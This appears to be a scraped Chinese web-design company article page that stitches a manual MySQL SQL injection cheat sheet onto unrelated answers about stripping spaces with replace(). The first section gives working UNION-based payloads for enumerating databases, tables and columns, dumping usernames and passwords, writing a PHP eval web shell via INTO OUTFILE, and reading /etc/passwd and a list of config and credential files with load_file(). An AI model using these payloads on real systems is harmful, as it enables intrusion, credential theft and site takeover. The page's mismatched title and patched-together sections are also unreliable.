web安全，mysql注入的時(shí)候，比如 ***.php?id=5 union select 1,2,3,4。。。如果返回正常

暴字段長(zhǎng)度

創(chuàng)新互聯(lián)是專(zhuān)業(yè)的峨眉山網(wǎng)站建設(shè)公司，峨眉山接單;提供成都網(wǎng)站建設(shè)、網(wǎng)站建設(shè),網(wǎng)頁(yè)設(shè)計(jì),網(wǎng)站設(shè)計(jì),建網(wǎng)站,PHP網(wǎng)站建設(shè)等專(zhuān)業(yè)做網(wǎng)站服務(wù);采用PHP框架,可快速的進(jìn)行峨眉山網(wǎng)站開(kāi)發(fā)網(wǎng)頁(yè)制作和功能擴(kuò)展;專(zhuān)業(yè)做搜索引擎喜愛(ài)的網(wǎng)站,專(zhuān)業(yè)的做網(wǎng)站團(tuán)隊(duì),希望更多企業(yè)前來(lái)合作!

Order by num/*

匹配字段

and 1=1 union select 1,2,3,4,5…….n/*

暴字段位置

and 1=2 union select 1,2,3,4,5…..n/*

利用內(nèi)置函數(shù)暴數(shù)據(jù)庫(kù)信息

version() database() user()

不用猜解可用字段暴數(shù)據(jù)庫(kù)信息(有些網(wǎng)站不適用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系統(tǒng)信息：

and 1=2 union all select @@global.version_compile_os from mysql.user /*

數(shù)據(jù)庫(kù)權(quán)限：

and ord(mid(user(),1,1))=114 /* 返回正常說(shuō)明為root

暴庫(kù) (mysql5.0)

Mysql 5 以上有內(nèi)置庫(kù) information_schema，存儲(chǔ)著mysql的所有數(shù)據(jù)庫(kù)和表結(jié)構(gòu)信息

and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數(shù)據(jù)庫(kù)（十六進(jìn)制） limit 0（開(kāi)始的記錄，0為第一個(gè)開(kāi)始記錄）,1（顯示1條記錄）—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名（十六進(jìn)制）limit 0,1

暴密碼

and 1=2 Union select 1,2,3,用戶(hù)名段,5,6,7,密碼段,8,9 from 表名 limit 0,1

高級(jí)用法（一個(gè)可用字段顯示兩個(gè)數(shù)據(jù)內(nèi)容）：

Union select 1,2,3concat(用戶(hù)名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

直接寫(xiě)馬(Root權(quán)限)

條件：1、知道站點(diǎn)物理路徑

2、有足夠大的權(quán)限（可以用select …. from mysql.user測(cè)試）

3、magic_quotes_gpc()=OFF

select ‘?php eval($_POST[cmd])?' into outfile ‘物理路徑'

and 1=2 union all select 一句話HEX值 into outfile '路徑'

load_file() 常用路徑：

1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面兩個(gè)是查看一個(gè)PHP文件里完全顯示代碼.有些時(shí)候不替換一些字符,如 “” 替換成”空格” 返回的是網(wǎng)頁(yè).而無(wú)法查看到代碼.

3、load_file(char(47)) 可以列出FreeBSD,Sunos系統(tǒng)根目錄

4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機(jī)配置文件

5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統(tǒng)apache文件

6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開(kāi)發(fā)的網(wǎng)站 resin文件配置信息.

7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統(tǒng)配置的JSP虛擬主機(jī)

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑

11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機(jī)配置文件

12、 /usr/local/resin-3.0.22/conf/resin.conf 針對(duì)3.0.22的RESIN配置文件查看

13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機(jī)查看

15、 /etc/sysconfig/iptables 本看防火墻策略

16 、usr/local/app/php5 b/php.ini PHP 的相當(dāng)設(shè)置

17 、/etc/my.cnf MYSQL的配置文件

18、 /etc/redhat-release 紅帽子的系統(tǒng)版本

19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統(tǒng)中的用戶(hù)密碼

20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

21、/usr/local/app/php5 b/php.ini //PHP相關(guān)設(shè)置

22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網(wǎng)站設(shè)置

23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25、c:\boot.ini

網(wǎng)站常用配置文件

config.inc.php、config.php。load_file（）時(shí)要用replace（load_file(HEX)，char(60),char(32)）

注：

Char(60)表示

Char(32)表示 空格

手工注射時(shí)出現(xiàn)的問(wèn)題：

當(dāng)注射后頁(yè)面顯示：

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

mySQL創(chuàng)建好表后怎么返回代碼？

兩者不是一碼事。

圖一是在圖形界面下，雙擊表名，彈出的數(shù)據(jù)展示界面

你如果想看到建表腳本，可以在圖形界面上，右鍵點(diǎn)擊表，選擇查看DDL，就可以看到建表腳本。

mysql怎么去數(shù)據(jù)的前后空格

這個(gè)很簡(jiǎn)單，用' '就可以了就是單引號(hào)中間空一格來(lái)表示。 如查詢(xún)有空格的數(shù)據(jù)： SELECT tg_id FROM tg_user WHERE tg_username=' '

MYSQL語(yǔ)句中有空格如何解決？

1、首先replace函數(shù)可以做到替換【'123 456'】為【'1234'】，測(cè)試log如下：

mysql select replace('123 456','123 456','1234');

+-------------------------------------+

| replace('123 456','123 456','1234') |

+-------------------------------------+

| 1234 |

+-------------------------------------+

1 row in set (0.05 sec)

2、如果你想去掉【message】中的所有空格的話

【replace(message,' ','')】就可以的。測(cè)試log如下：

mysql select replace('1 2 3 4 5 6',' ','');

+-------------------------------+

| replace('1 2 3 4 5 6',' ','') |

+-------------------------------+

| 123456 |

+-------------------------------+

1 row in set (0.00 sec)

3、所以你的sql改成下面這樣就可以了應(yīng)該：

UPDATE cdb_posts SET message=REPLACE(message,' ','') where tid=123456;

4、改完了記住commit，使改正永久話。

---

以上，希望對(duì)你有所幫助。

網(wǎng)站題目：mysql怎么返回空格 mysql返回行號(hào)
文章網(wǎng)址：http://chinadenli.net/article38/dohgcsp.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián)，為您提供Google、動(dòng)態(tài)網(wǎng)站、面包屑導(dǎo)航、關(guān)鍵詞優(yōu)化、響應(yīng)式網(wǎng)站、網(wǎng)站收錄

廣告

聲明：本網(wǎng)站發(fā)布的內(nèi)容（圖片、視頻和文字）以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主，如果涉及侵權(quán)請(qǐng)盡快告知，我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng)，如需處理請(qǐng)聯(lián)系客服。電話：028-86922220；郵箱：631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載，或轉(zhuǎn)載時(shí)需注明來(lái)源： 創(chuàng)新互聯(lián)